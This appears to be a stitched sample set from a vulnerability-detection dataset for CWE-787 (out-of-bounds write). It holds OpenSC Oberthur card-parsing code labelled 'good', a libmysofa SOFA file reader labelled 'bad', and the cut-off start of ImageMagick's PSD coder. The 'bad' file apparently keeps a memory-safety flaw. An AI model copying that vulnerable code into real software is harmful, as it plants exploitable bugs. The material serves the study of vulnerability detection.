key-usage:%04X", key_info.usage); /* Label */ if (offs + 2 > info_len) LOG_TEST_RET(ctx, SC_ERROR_UNKNOWN_DATA_RECEIVED, "Failed to add public key: no 'Label'"); len = *(info_blob + offs + 1) + *(info_blob + offs) * 0x100; if (len) { if (len > sizeof(key_obj.label) - 1) len = sizeof(key_obj.label) - 1; memcpy(key_obj.label, info_blob + offs + 2, len); } offs += 2 + len; /* ID */ if (offs > info_len) LOG_TEST_RET(ctx, SC_ERROR_UNKNOWN_DATA_RECEIVED, "Failed to add public key: no 'ID'"); len = *(info_blob + offs + 1) + *(info_blob + offs) * 0x100; if (!len || len > sizeof(key_info.id.value)) LOG_TEST_RET(ctx, SC_ERROR_INVALID_DATA, "Failed to add public key: invalid 'ID' length"); memcpy(key_info.id.value, info_blob + offs + 2, len); key_info.id.len = len; /* Ignore Start/End dates */ snprintf(ch_tmp, sizeof(ch_tmp), "%s%04X", AWP_OBJECTS_DF_PUB, file_id); sc_format_path(ch_tmp, &key_info.path); key_info.native = 1; key_info.key_reference = file_id & 0xFF; key_info.modulus_length = size; rv = sc_pkcs15emu_add_rsa_pubkey(p15card, &key_obj, &key_info); LOG_FUNC_RETURN(ctx, rv); } /* Certificate info: * flags:2, * Label(len:2,value:), * ID(len:2,value:(SHA1 value)), * Subject in ASN.1(len:2,value:) * Issuer in ASN.1(len:2,value:) * Serial encoded in LV or ASN.1 FIXME */ static int sc_pkcs15emu_oberthur_add_cert(struct sc_pkcs15_card *p15card, unsigned int file_id) { struct sc_context *ctx = p15card->card->ctx; struct sc_pkcs15_cert_info cinfo; struct sc_pkcs15_object cobj; unsigned char *info_blob, *cert_blob; size_t info_len, cert_len, len, offs; unsigned flags; int rv; char ch_tmp[0x20]; LOG_FUNC_CALLED(ctx); sc_log(ctx, "add certificate(file-id:%04X)", file_id); memset(&cinfo, 0, sizeof(cinfo)); memset(&cobj, 0, sizeof(cobj)); snprintf(ch_tmp, sizeof(ch_tmp), "%s%04X", AWP_OBJECTS_DF_PUB, file_id | 0x100); rv = sc_oberthur_read_file(p15card, ch_tmp, &info_blob, &info_len, 1); LOG_TEST_RET(ctx, rv, "Failed to add certificate: read oberthur file error"); if (info_len < 2) LOG_TEST_RET(ctx, SC_ERROR_UNKNOWN_DATA_RECEIVED, "Failed to add certificate: no 'tag'"); flags = *(info_blob + 0) * 0x100 + *(info_blob + 1); offs = 2; /* Label */ if (offs + 2 > info_len) LOG_TEST_RET(ctx, SC_ERROR_UNKNOWN_DATA_RECEIVED, "Failed to add certificate: no 'CN'"); len = *(info_blob + offs + 1) + *(info_blob + offs) * 0x100; if (len) { if (len > sizeof(cobj.label) - 1) len = sizeof(cobj.label) - 1; memcpy(cobj.label, info_blob + offs + 2, len); } offs += 2 + len; /* ID */ if (offs > info_len) LOG_TEST_RET(ctx, SC_ERROR_UNKNOWN_DATA_RECEIVED, "Failed to add certificate: no 'ID'"); len = *(info_blob + offs + 1) + *(info_blob + offs) * 0x100; if (len > sizeof(cinfo.id.value)) LOG_TEST_RET(ctx, SC_ERROR_INVALID_DATA, "Failed to add certificate: invalid 'ID' length"); memcpy(cinfo.id.value, info_blob + offs + 2, len); cinfo.id.len = len; /* Ignore subject, issuer and serial */ snprintf(ch_tmp, sizeof(ch_tmp), "%s%04X", AWP_OBJECTS_DF_PUB, file_id); sc_format_path(ch_tmp, &cinfo.path); rv = sc_oberthur_read_file(p15card, ch_tmp, &cert_blob, &cert_len, 1); LOG_TEST_RET(ctx, rv, "Failed to add certificate: read certificate error"); cinfo.value.value = cert_blob; cinfo.value.len = cert_len; rv = sc_oberthur_get_certificate_authority(&cinfo.value, &cinfo.authority); LOG_TEST_RET(ctx, rv, "Failed to add certificate: get certificate attributes error"); if (flags & OBERTHUR_ATTR_MODIFIABLE) cobj.flags |= SC_PKCS15_CO_FLAG_MODIFIABLE; rv = sc_pkcs15emu_add_x509_cert(p15card, &cobj, &cinfo); LOG_FUNC_RETURN(p15card->card->ctx, rv); } /* Private key info: * flags:2, * CN(len:2,value:), * ID(len:2,value:(SHA1 value)), * StartDate(Ascii:8) * EndDate(Ascii:8) * Subject in ASN.1(len:2,value:) * modulus(value:) * exponent(length:1, value:3) */ static int sc_pkcs15emu_oberthur_add_prvkey(struct sc_pkcs15_card *p15card, unsigned int file_id, unsigned int size) { struct sc_context *ctx = p15card->card->ctx; struct sc_pkcs15_prkey_info kinfo; struct sc_pkcs15_object kobj; struct crypto_container ccont; unsigned char *info_blob = NULL; size_t info_len = 0; unsigned flags; size_t offs, len; char ch_tmp[0x100]; int rv; LOG_FUNC_CALLED(ctx); sc_log(ctx, "add private key(file-id:%04X,size:%04X)", file_id, size); memset(&kinfo, 0, sizeof(kinfo)); memset(&kobj, 0, sizeof(kobj)); memset(&ccont, 0, sizeof(ccont)); rv = sc_oberthur_get_friends (file_id, &ccont); LOG_TEST_RET(ctx, rv, "Failed to add private key: get friends error"); if (ccont.id_cert) { struct sc_pkcs15_object *objs[32]; int ii; sc_log(ctx, "friend certificate %04X", ccont.id_cert); rv = sc_pkcs15_get_objects(p15card, SC_PKCS15_TYPE_CERT_X509, objs, 32); LOG_TEST_RET(ctx, rv, "Failed to add private key: get certificates error"); for (ii=0; ii<rv; ii++) { struct sc_pkcs15_cert_info *cert = (struct sc_pkcs15_cert_info *)objs[ii]->data; struct sc_path path = cert->path; unsigned int id = path.value[path.len - 2] * 0x100 + path.value[path.len - 1]; if (id == ccont.id_cert) { strlcpy(kobj.label, objs[ii]->label, sizeof(kobj.label)); break; } } if (ii == rv) LOG_TEST_RET(ctx, SC_ERROR_INCONSISTENT_PROFILE, "Failed to add private key: friend not found"); } snprintf(ch_tmp, sizeof(ch_tmp), "%s%04X", AWP_OBJECTS_DF_PRV, file_id | 0x100); rv = sc_oberthur_read_file(p15card, ch_tmp, &info_blob, &info_len, 1); LOG_TEST_RET(ctx, rv, "Failed to add private key: read oberthur file error"); if (info_len < 2) LOG_TEST_RET(ctx, SC_ERROR_UNKNOWN_DATA_RECEIVED, "Failed to add private key: no 'tag'"); flags = *(info_blob + 0) * 0x100 + *(info_blob + 1); offs = 2; /* CN */ if (offs > info_len) LOG_TEST_RET(ctx, SC_ERROR_UNKNOWN_DATA_RECEIVED, "Failed to add private key: no 'CN'"); len = *(info_blob + offs + 1) + *(info_blob + offs) * 0x100; if (len && !strlen(kobj.label)) { if (len > sizeof(kobj.label) - 1) len = sizeof(kobj.label) - 1; strncpy(kobj.label, (char *)(info_blob + offs + 2), len); } offs += 2 + len; /* ID */ if (offs > info_len) LOG_TEST_RET(ctx, SC_ERROR_UNKNOWN_DATA_RECEIVED, "Failed to add private key: no 'ID'"); len = *(info_blob + offs + 1) + *(info_blob + offs) * 0x100; if (!len) LOG_TEST_RET(ctx, SC_ERROR_UNKNOWN_DATA_RECEIVED, "Failed to add private key: zero length ID"); else if (len > sizeof(kinfo.id.value)) LOG_TEST_RET(ctx, SC_ERROR_INVALID_DATA, "Failed to add private key: invalid ID length"); memcpy(kinfo.id.value, info_blob + offs + 2, len); kinfo.id.len = len; offs += 2 + len; /* Ignore Start/End dates */ offs += 16; /* Subject encoded in ASN1 */ if (offs > info_len) return SC_ERROR_UNKNOWN_DATA_RECEIVED; len = *(info_blob + offs + 1) + *(info_blob + offs) * 0x100; if (len) { kinfo.subject.value = malloc(len); if (!kinfo.subject.value) LOG_TEST_RET(ctx, SC_ERROR_OUT_OF_MEMORY, "Failed to add private key: memory allocation error"); kinfo.subject.len = len; memcpy(kinfo.subject.value, info_blob + offs + 2, len); } /* Modulus and exponent are ignored */ snprintf(ch_tmp, sizeof(ch_tmp), "%s%04X", AWP_OBJECTS_DF_PRV, file_id); sc_format_path(ch_tmp, &kinfo.path); sc_log(ctx, "Private key info path %s", ch_tmp); kinfo.modulus_length = size; kinfo.native = 1; kinfo.key_reference = file_id & 0xFF; kinfo.usage = sc_oberthur_decode_usage(flags); kobj.flags = SC_PKCS15_CO_FLAG_PRIVATE; if (flags & OBERTHUR_ATTR_MODIFIABLE) kobj.flags |= SC_PKCS15_CO_FLAG_MODIFIABLE; kobj.auth_id.len = sizeof(PinDomainID) > sizeof(kobj.auth_id.value) ? sizeof(kobj.auth_id.value) : sizeof(PinDomainID); memcpy(kobj.auth_id.value, PinDomainID, kobj.auth_id.len); sc_log(ctx, "Parsed private key(reference:%i,usage:%X,flags:%X)", kinfo.key_reference, kinfo.usage, kobj.flags); rv = sc_pkcs15emu_add_rsa_prkey(p15card, &kobj, &kinfo); LOG_FUNC_RETURN(ctx, rv); } static int sc_pkcs15emu_oberthur_add_data(struct sc_pkcs15_card *p15card, unsigned int file_id, unsigned int size, int private) { struct sc_context *ctx = p15card->card->ctx; struct sc_pkcs15_data_info dinfo; struct sc_pkcs15_object dobj; unsigned flags; unsigned char *info_blob = NULL, *label = NULL, *app = NULL, *oid = NULL; size_t info_len, label_len, app_len, oid_len, offs; char ch_tmp[0x100]; int rv; SC_FUNC_CALLED(ctx, SC_LOG_DEBUG_VERBOSE); sc_log(ctx, "Add data(file-id:%04X,size:%i,is-private:%i)", file_id, size, private); memset(&dinfo, 0, sizeof(dinfo)); memset(&dobj, 0, sizeof(dobj)); snprintf(ch_tmp, sizeof(ch_tmp), "%s%04X", private ? AWP_OBJECTS_DF_PRV : AWP_OBJECTS_DF_PUB, file_id | 0x100); rv = sc_oberthur_read_file(p15card, ch_tmp, &info_blob, &info_len, 1); LOG_TEST_RET(ctx, rv, "Failed to add data: read oberthur file error"); if (info_len < 2) LOG_TEST_RET(ctx, SC_ERROR_UNKNOWN_DATA_RECEIVED, "Failed to add certificate: no 'tag'"); flags = *(info_blob + 0) * 0x100 + *(info_blob + 1); offs = 2; /* Label */ if (offs > info_len) LOG_TEST_RET(ctx, SC_ERROR_UNKNOWN_DATA_RECEIVED, "Failed to add data: no 'label'"); label = info_blob + offs + 2; label_len = *(info_blob + offs + 1) + *(info_blob + offs) * 0x100; if (label_len > sizeof(dobj.label) - 1) label_len = sizeof(dobj.label) - 1; offs += 2 + *(info_blob + offs + 1); /* Application */ if (offs > info_len) LOG_TEST_RET(ctx, SC_ERROR_UNKNOWN_DATA_RECEIVED, "Failed to add data: no 'application'"); app = info_blob + offs + 2; app_len = *(info_blob + offs + 1) + *(info_blob + offs) * 0x100; if (app_len > sizeof(dinfo.app_label) - 1) app_len = sizeof(dinfo.app_label) - 1; offs += 2 + app_len; /* OID encode like DER(ASN.1(oid)) */ if (offs > info_len) LOG_TEST_RET(ctx, SC_ERROR_UNKNOWN_DATA_RECEIVED, "Failed to add data: no 'OID'"); oid_len = *(info_blob + offs + 1) + *(info_blob + offs) * 0x100; if (oid_len) { oid = info_blob + offs + 2; if (*oid != 0x06 || (*(oid + 1) != oid_len - 2)) LOG_TEST_RET(ctx, SC_ERROR_UNKNOWN_DATA_RECEIVED, "Failed to add data: invalid 'OID' format"); oid += 2; oid_len -= 2; } snprintf(ch_tmp, sizeof(ch_tmp), "%s%04X", private ? AWP_OBJECTS_DF_PRV : AWP_OBJECTS_DF_PUB, file_id); sc_format_path(ch_tmp, &dinfo.path); memcpy(dobj.label, label, label_len); memcpy(dinfo.app_label, app, app_len); if (oid_len) sc_asn1_decode_object_id(oid, oid_len, &dinfo.app_oid); if (flags & OBERTHUR_ATTR_MODIFIABLE) dobj.flags |= SC_PKCS15_CO_FLAG_MODIFIABLE; if (private) { dobj.auth_id.len = sizeof(PinDomainID) > sizeof(dobj.auth_id.value) ? sizeof(dobj.auth_id.value) : sizeof(PinDomainID); memcpy(dobj.auth_id.value, PinDomainID, dobj.auth_id.len); dobj.flags |= SC_PKCS15_CO_FLAG_PRIVATE; } rv = sc_pkcs15emu_add_data_object(p15card, &dobj, &dinfo); LOG_FUNC_RETURN(p15card->card->ctx, rv); } static int sc_pkcs15emu_oberthur_init(struct sc_pkcs15_card * p15card) { struct sc_context *ctx = p15card->card->ctx; struct sc_pkcs15_auth_info auth_info; struct sc_pkcs15_object obj; struct sc_card *card = p15card->card; struct sc_path path; int rv, ii, tries_left; char serial[0x10]; unsigned char sopin_reference = 0x04; SC_FUNC_CALLED(card->ctx, SC_LOG_DEBUG_VERBOSE); sc_bin_to_hex(card->serialnr.value, card->serialnr.len, serial, sizeof(serial), 0); set_string(&p15card->tokeninfo->serial_number, serial); p15card->ops.parse_df = sc_awp_parse_df; p15card->ops.clear = sc_awp_clear; sc_log(ctx, "Oberthur init: serial %s", p15card->tokeninfo->serial_number); sc_format_path(AWP_PIN_DF, &path); rv = sc_select_file(card, &path, NULL); LOG_TEST_RET(ctx, rv, "Oberthur init failed: cannot select PIN dir"); tries_left = -1; rv = sc_verify(card, SC_AC_CHV, sopin_reference, (unsigned char *)"", 0, &tries_left); if (rv && rv != SC_ERROR_PIN_CODE_INCORRECT) { sopin_reference = 0x84; rv = sc_verify(card, SC_AC_CHV, sopin_reference, (unsigned char *)"", 0, &tries_left); } if (rv && rv != SC_ERROR_PIN_CODE_INCORRECT) LOG_TEST_RET(ctx, rv, "Invalid state of SO-PIN"); /* add PIN */ memset(&auth_info, 0, sizeof(auth_info)); memset(&obj, 0, sizeof(obj)); auth_info.auth_type = SC_PKCS15_PIN_AUTH_TYPE_PIN; auth_info.auth_method = SC_AC_CHV; auth_info.auth_id.len = 1; auth_info.auth_id.value[0] = 0xFF; auth_info.attrs.pin.min_length = 4; auth_info.attrs.pin.max_length = 64; auth_info.attrs.pin.stored_length = 64; auth_info.attrs.pin.type = SC_PKCS15_PIN_TYPE_ASCII_NUMERIC; auth_info.attrs.pin.reference = sopin_reference; auth_info.attrs.pin.pad_char = 0xFF; auth_info.attrs.pin.flags = SC_PKCS15_PIN_FLAG_CASE_SENSITIVE | SC_PKCS15_PIN_FLAG_INITIALIZED | SC_PKCS15_PIN_FLAG_NEEDS_PADDING | SC_PKCS15_PIN_FLAG_SO_PIN; auth_info.tries_left = tries_left; auth_info.logged_in = SC_PIN_STATE_UNKNOWN; strncpy(obj.label, "SO PIN", SC_PKCS15_MAX_LABEL_SIZE-1); obj.flags = SC_PKCS15_CO_FLAG_MODIFIABLE | SC_PKCS15_CO_FLAG_PRIVATE; sc_log(ctx, "Add PIN(%s,auth_id:%s,reference:%i)", obj.label, sc_pkcs15_print_id(&auth_info.auth_id), auth_info.attrs.pin.reference); rv = sc_pkcs15emu_add_pin_obj(p15card, &obj, &auth_info); LOG_TEST_RET(ctx, rv, "Oberthur init failed: cannot add PIN object"); tries_left = -1; rv = sc_verify(card, SC_AC_CHV, 0x81, (unsigned char *)"", 0, &tries_left); if (rv == SC_ERROR_PIN_CODE_INCORRECT) { /* add PIN */ memset(&auth_info, 0, sizeof(auth_info)); memset(&obj, 0, sizeof(obj)); auth_info.auth_id.len = sizeof(PinDomainID) > sizeof(auth_info.auth_id.value) ? sizeof(auth_info.auth_id.value) : sizeof(PinDomainID); memcpy(auth_info.auth_id.value, PinDomainID, auth_info.auth_id.len); auth_info.auth_method = SC_AC_CHV; auth_info.attrs.pin.min_length = 4; auth_info.attrs.pin.max_length = 64; auth_info.attrs.pin.stored_length = 64; auth_info.attrs.pin.type = SC_PKCS15_PIN_TYPE_ASCII_NUMERIC; auth_info.attrs.pin.reference = 0x81; auth_info.attrs.pin.pad_char = 0xFF; auth_info.attrs.pin.flags = SC_PKCS15_PIN_FLAG_CASE_SENSITIVE | SC_PKCS15_PIN_FLAG_INITIALIZED | SC_PKCS15_PIN_FLAG_NEEDS_PADDING | SC_PKCS15_PIN_FLAG_LOCAL; auth_info.tries_left = tries_left; strncpy(obj.label, PIN_DOMAIN_LABEL, SC_PKCS15_MAX_LABEL_SIZE-1); obj.flags = SC_PKCS15_CO_FLAG_MODIFIABLE | SC_PKCS15_CO_FLAG_PRIVATE; if (sopin_reference == 0x84) { /* * auth_pin_reset_oberthur_style() in card-oberthur.c * always uses PUK with reference 0x84 for * unblocking of User PIN */ obj.auth_id.len = 1; obj.auth_id.value[0] = 0xFF; } sc_format_path(AWP_PIN_DF, &auth_info.path); auth_info.path.type = SC_PATH_TYPE_PATH; sc_log(ctx, "Add PIN(%s,auth_id:%s,reference:%i)", obj.label, sc_pkcs15_print_id(&auth_info.auth_id), auth_info.attrs.pin.reference); rv = sc_pkcs15emu_add_pin_obj(p15card, &obj, &auth_info); LOG_TEST_RET(ctx, rv, "Oberthur init failed: cannot add PIN object"); } else if (rv != SC_ERROR_DATA_OBJECT_NOT_FOUND) { LOG_TEST_RET(ctx, rv, "Oberthur init failed: cannot verify PIN"); } for (ii=0; oberthur_infos[ii].name; ii++) { sc_log(ctx, "Oberthur init: read %s file", oberthur_infos[ii].name); rv = sc_oberthur_read_file(p15card, oberthur_infos[ii].path, &oberthur_infos[ii].content, &oberthur_infos[ii].len, 1); LOG_TEST_RET(ctx, rv, "Oberthur init failed: read oberthur file error"); sc_log(ctx, "Oberthur init: parse %s file, content length %"SC_FORMAT_LEN_SIZE_T"u", oberthur_infos[ii].name, oberthur_infos[ii].len); rv = oberthur_infos[ii].parser(p15card, oberthur_infos[ii].content, oberthur_infos[ii].len, oberthur_infos[ii].postpone_allowed); LOG_TEST_RET(ctx, rv, "Oberthur init failed: parse error"); } LOG_FUNC_RETURN(ctx, SC_SUCCESS); } static int oberthur_detect_card(struct sc_pkcs15_card * p15card) { struct sc_card *card = p15card->card; SC_FUNC_CALLED(card->ctx, SC_LOG_DEBUG_VERBOSE); if (p15card->card->type != SC_CARD_TYPE_OBERTHUR_64K) LOG_FUNC_RETURN(p15card->card->ctx, SC_ERROR_WRONG_CARD); LOG_FUNC_RETURN(p15card->card->ctx, SC_SUCCESS); } int sc_pkcs15emu_oberthur_init_ex(struct sc_pkcs15_card * p15card, struct sc_aid *aid) { int rv; LOG_FUNC_CALLED(p15card->card->ctx); rv = oberthur_detect_card(p15card); if (!rv) rv = sc_pkcs15emu_oberthur_init(p15card); LOG_FUNC_RETURN(p15card->card->ctx, rv); } static int sc_awp_parse_df(struct sc_pkcs15_card *p15card, struct sc_pkcs15_df *df) { struct sc_context *ctx = p15card->card->ctx; unsigned char *buf = NULL; size_t buf_len; int rv; LOG_FUNC_CALLED(ctx); if (df->type != SC_PKCS15_PRKDF && df->type != SC_PKCS15_DODF) LOG_FUNC_RETURN(ctx, SC_ERROR_NOT_SUPPORTED); if (df->enumerated) LOG_FUNC_RETURN(ctx, SC_SUCCESS); rv = sc_oberthur_read_file(p15card, AWP_OBJECTS_LIST_PRV, &buf, &buf_len, 1); LOG_TEST_RET(ctx, rv, "Parse DF: read private objects info failed"); rv = sc_oberthur_parse_privateinfo(p15card, buf, buf_len, 0); if (buf) free(buf); if (rv == SC_ERROR_SECURITY_STATUS_NOT_SATISFIED) LOG_FUNC_RETURN(ctx, SC_SUCCESS); LOG_TEST_RET(ctx, rv, "Parse DF: private info parse error"); df->enumerated = 1; LOG_FUNC_RETURN(ctx, rv); } static void sc_awp_clear(struct sc_pkcs15_card *p15card) { LOG_FUNC_CALLED(p15card->card->ctx); }
./CrossVul/dataset_final_sorted/CWE-787/c/good_4401_0
crossvul-cpp_data_bad_1338_2
/* Copyright 2016 Christian Hoene, Symonics GmbH */ #include <errno.h> #include <stddef.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include "mysofa_export.h" #include "mysofa.h" #include "../hdf/reader.h" #include "../config.h" /* checks file address. * NULL is an invalid address indicating a invalid field */ int validAddress(struct READER *reader, uint64_t address) { return address > 0 && address < reader->superblock.end_of_file_address; } /* little endian */ uint64_t readValue(struct READER *reader, int size) { int i, c; uint64_t value; c = fgetc(reader->fhd); if (c < 0) return 0xffffffffffffffffLL; value = (uint8_t) c; for (i = 1; i < size; i++) { c = fgetc(reader->fhd); if (c < 0) return 0xffffffffffffffffLL; value |= ((uint64_t) c) << (i * 8); } return value; } static int mystrcmp(char *s1, char *s2) { if (s1 == NULL && s2 == NULL) return 0; if (s1 == NULL) return -1; if (s2 == NULL) return 1; return strcmp(s1, s2); } static int checkAttribute(struct MYSOFA_ATTRIBUTE *attribute, char *name, char *value) { while (attribute) { if (!mystrcmp(attribute->name, name) && !mystrcmp(attribute->value, value)) return MYSOFA_OK; attribute = attribute->next; } return MYSOFA_INVALID_FORMAT; } static int getDimension(unsigned *dim, struct DATAOBJECT *dataobject) { int err; struct MYSOFA_ATTRIBUTE *attr = dataobject->attributes; if (!!(err = checkAttribute(dataobject->attributes, "CLASS", "DIMENSION_SCALE"))) return err; while (attr) { log(" %s=%s\n",attr->name,attr->value); if (!strcmp(attr->name, "NAME") && attr->value && !strncmp(attr->value, "This is a netCDF dimension but not a netCDF variable.", 53)) { char *p = attr->value + strlen(attr->value) - 1; while (isdigit(*p)) { p--; } p++; *dim = atoi(p); log("NETCDF DIM %u\n",*dim); return MYSOFA_OK; } attr = attr->next; } return MYSOFA_INVALID_FORMAT; } static int getArray(struct MYSOFA_ARRAY *array, struct DATAOBJECT *dataobject) { float *p1; double *p2; int i; struct MYSOFA_ATTRIBUTE *attr = dataobject->attributes; while (attr) { log(" %s=%s\n",attr->name,attr->value); attr = attr->next; } if (dataobject->dt.u.f.bit_precision != 64) return MYSOFA_UNSUPPORTED_FORMAT; array->attributes = dataobject->attributes; dataobject->attributes = NULL; array->elements = dataobject->data_len / 8; p1 = dataobject->data; p2 = dataobject->data; for (i = 0; i < array->elements; i++) *p1++ = *p2++; array->values = realloc(dataobject->data, array->elements * sizeof(float)); dataobject->data = NULL; return MYSOFA_OK; } static struct MYSOFA_HRTF *getHrtf(struct READER *reader, int *err) { int dimensionflags = 0; struct DIR *dir = reader->superblock.dataobject.directory; struct MYSOFA_HRTF *hrtf = malloc(sizeof(struct MYSOFA_HRTF)); if (!hrtf) { *err = errno; return NULL; } memset(hrtf, 0, sizeof(struct MYSOFA_HRTF)); /* copy SOFA file attributes */ hrtf->attributes = reader->superblock.dataobject.attributes; reader->superblock.dataobject.attributes = NULL; /* check SOFA file attributes */ if (!!(*err = checkAttribute(hrtf->attributes, "Conventions", "SOFA"))) goto error; /* read dimensions */ while (dir) { if (dir->dataobject.name && dir->dataobject.name[0] && dir->dataobject.name[1] == 0) { switch (dir->dataobject.name[0]) { case 'I': *err = getDimension(&hrtf->I, &dir->dataobject); dimensionflags |= 1; break; case 'C': *err = getDimension(&hrtf->C, &dir->dataobject); dimensionflags |= 2; break; case 'R': *err = getDimension(&hrtf->R, &dir->dataobject); dimensionflags |= 4; break; case 'E': *err = getDimension(&hrtf->E, &dir->dataobject); dimensionflags |= 8; break; case 'N': *err = getDimension(&hrtf->N, &dir->dataobject); dimensionflags |= 0x10; break; case 'M': *err = getDimension(&hrtf->M, &dir->dataobject); dimensionflags |= 0x20; break; case 'S': break; /* be graceful, some issues with API version 0.4.4 */ default: log("UNKNOWN SOFA VARIABLE %s", dir->dataobject.name); goto error; } if (*err) goto error; } dir = dir->next; } if (dimensionflags != 0x3f || hrtf->I != 1 || hrtf->C != 3) { log("dimensions are missing or wrong\n"); goto error; } dir = reader->superblock.dataobject.directory; while (dir) { if(!dir->dataobject.name) { log("SOFA VARIABLE IS NULL.\n"); } else if (!strcmp(dir->dataobject.name, "ListenerPosition")) { *err = getArray(&hrtf->ListenerPosition, &dir->dataobject); } else if (!strcmp(dir->dataobject.name, "ReceiverPosition")) { *err = getArray(&hrtf->ReceiverPosition, &dir->dataobject); } else if (!strcmp(dir->dataobject.name, "SourcePosition")) { *err = getArray(&hrtf->SourcePosition, &dir->dataobject); } else if (!strcmp(dir->dataobject.name, "EmitterPosition")) { *err = getArray(&hrtf->EmitterPosition, &dir->dataobject); } else if (!strcmp(dir->dataobject.name, "ListenerUp")) { *err = getArray(&hrtf->ListenerUp, &dir->dataobject); } else if (!strcmp(dir->dataobject.name, "ListenerView")) { *err = getArray(&hrtf->ListenerView, &dir->dataobject); } else if (!strcmp(dir->dataobject.name, "Data.IR")) { *err = getArray(&hrtf->DataIR, &dir->dataobject); } else if (!strcmp(dir->dataobject.name, "Data.SamplingRate")) { *err = getArray(&hrtf->DataSamplingRate, &dir->dataobject); } else if (!strcmp(dir->dataobject.name, "Data.Delay")) { *err = getArray(&hrtf->DataDelay, &dir->dataobject); } else { if (!(dir->dataobject.name[0] && !dir->dataobject.name[1])) log("UNKNOWN SOFA VARIABLE %s.\n", dir->dataobject.name); } dir = dir->next; } return hrtf; error: free(hrtf); if (!*err) *err = MYSOFA_INVALID_FORMAT; return NULL; } MYSOFA_EXPORT struct MYSOFA_HRTF* mysofa_load(const char *filename, int *err) { struct READER reader; struct MYSOFA_HRTF *hrtf = NULL; if (filename == NULL) filename = CMAKE_INSTALL_PREFIX "/share/libmysofa/default.sofa"; if (strcmp(filename, "-")) reader.fhd = fopen(filename, "rb"); else reader.fhd = stdin; if (!reader.fhd) { log("cannot open file %s\n", filename); *err = errno; return NULL; } reader.gcol = NULL; reader.all = NULL; *err = superblockRead(&reader, &reader.superblock); if (!*err) { hrtf = getHrtf(&reader, err); } superblockFree(&reader, &reader.superblock); gcolFree(reader.gcol); if (strcmp(filename, "-")) fclose(reader.fhd); return hrtf; } static void arrayFree(struct MYSOFA_ARRAY *array) { while (array->attributes) { struct MYSOFA_ATTRIBUTE *next = array->attributes->next; free(array->attributes->name); free(array->attributes->value); free(array->attributes); array->attributes = next; } free(array->values); } MYSOFA_EXPORT void mysofa_free(struct MYSOFA_HRTF *hrtf) { if (!hrtf) return; while (hrtf->attributes) { struct MYSOFA_ATTRIBUTE *next = hrtf->attributes->next; free(hrtf->attributes->name); free(hrtf->attributes->value); free(hrtf->attributes); hrtf->attributes = next; } arrayFree(&hrtf->ListenerPosition); arrayFree(&hrtf->ReceiverPosition); arrayFree(&hrtf->SourcePosition); arrayFree(&hrtf->EmitterPosition); arrayFree(&hrtf->ListenerUp); arrayFree(&hrtf->ListenerView); arrayFree(&hrtf->DataIR); arrayFree(&hrtf->DataSamplingRate); arrayFree(&hrtf->DataDelay); free(hrtf); } MYSOFA_EXPORT void mysofa_getversion(int *major, int *minor, int *patch) { *major = CPACK_PACKAGE_VERSION_MAJOR; *minor = CPACK_PACKAGE_VERSION_MINOR; *patch = CPACK_PACKAGE_VERSION_PATCH; }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_1338_2
crossvul-cpp_data_good_3105_0
/* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % PPPP SSSSS DDDD % % P P SS D D % % PPPP SSS D D % % P SS D D % % P SSSSS DDDD % % % % % % Read/Write Adobe Photoshop Image Format % % % % Software Design % % Cristy % % Leonard Rosenthol % % July 1992 % % Dirk Lemstra % % December 2013 % % % % % % Copyright 1999-2017 ImageMagick Studio LLC, a non-profit organization % % dedicated to making software imaging solutions freely available. % % % % You may not use this file except in compliance with the License. You may % % obtain a copy of the License at % % % % http://www.imagemagick.org/script/license.php % % % % Unless required by applicable law or agreed to in writing, software % % distributed under the License is distributed on an "AS IS" BASIS, % % WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. % % See the License for the specific language governing permissions and % % limitations under the License. % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % */ /* Include declarations. */ #include "magick/studio.h" #include "magick/artifact.h" #include "magick/attribute.h" #include "magick/blob.h" #include "magick/blob-private.h" #include "magick/cache.h" #include "magick/channel.h" #include "magick/colormap.h" #include "magick/colormap-private.h" #include "magick/colorspace.h" #include "magick/colorspace-private.h" #include "magick/constitute.h" #include "magick/enhance.h" #include "magick/exception.h" #include "magick/exception-private.h" #include "magick/image.h" #include "magick/image-private.h" #include "magick/list.h" #include "magick/log.h" #include "magick/magick.h" #include "magick/memory_.h" #include "magick/module.h" #include "magick/monitor-private.h" #include "magick/option.h" #include "magick/pixel.h" #include "magick/pixel-accessor.h" #include "magick/profile.h" #include "magick/property.h" #include "magick/registry.h" #include "magick/quantum-private.h" #include "magick/static.h" #include "magick/string_.h" #include "magick/string-private.h" #include "magick/thread-private.h" #ifdef MAGICKCORE_ZLIB_DELEGATE #include <zlib.h> #endif #include "psd-private.h" /* Define declaractions. */ #define MaxPSDChannels 56 #define PSDQuantum(x) (((ssize_t) (x)+1) & -2) /* Enumerated declaractions. */ typedef enum { Raw = 0, RLE = 1, ZipWithoutPrediction = 2, ZipWithPrediction = 3 } PSDCompressionType; typedef enum { BitmapMode = 0, GrayscaleMode = 1, IndexedMode = 2, RGBMode = 3, CMYKMode = 4, MultichannelMode = 7, DuotoneMode = 8, LabMode = 9 } PSDImageType; /* Typedef declaractions. */ typedef struct _ChannelInfo { short int type; size_t size; } ChannelInfo; typedef struct _MaskInfo { Image *image; RectangleInfo page; unsigned char background, flags; } MaskInfo; typedef struct _LayerInfo { ChannelInfo channel_info[MaxPSDChannels]; char blendkey[4]; Image *image; MaskInfo mask; Quantum opacity; RectangleInfo page; size_t offset_x, offset_y; unsigned char clipping, flags, name[256], visible; unsigned short channels; StringInfo *info; } LayerInfo; /* Forward declarations. */ static MagickBooleanType WritePSDImage(const ImageInfo *,Image *); /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % I s P S D % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % IsPSD()() returns MagickTrue if the image format type, identified by the % magick string, is PSD. % % The format of the IsPSD method is: % % MagickBooleanType IsPSD(const unsigned char *magick,const size_t length) % % A description of each parameter follows: % % o magick: compare image format pattern against these bytes. % % o length: Specifies the length of the 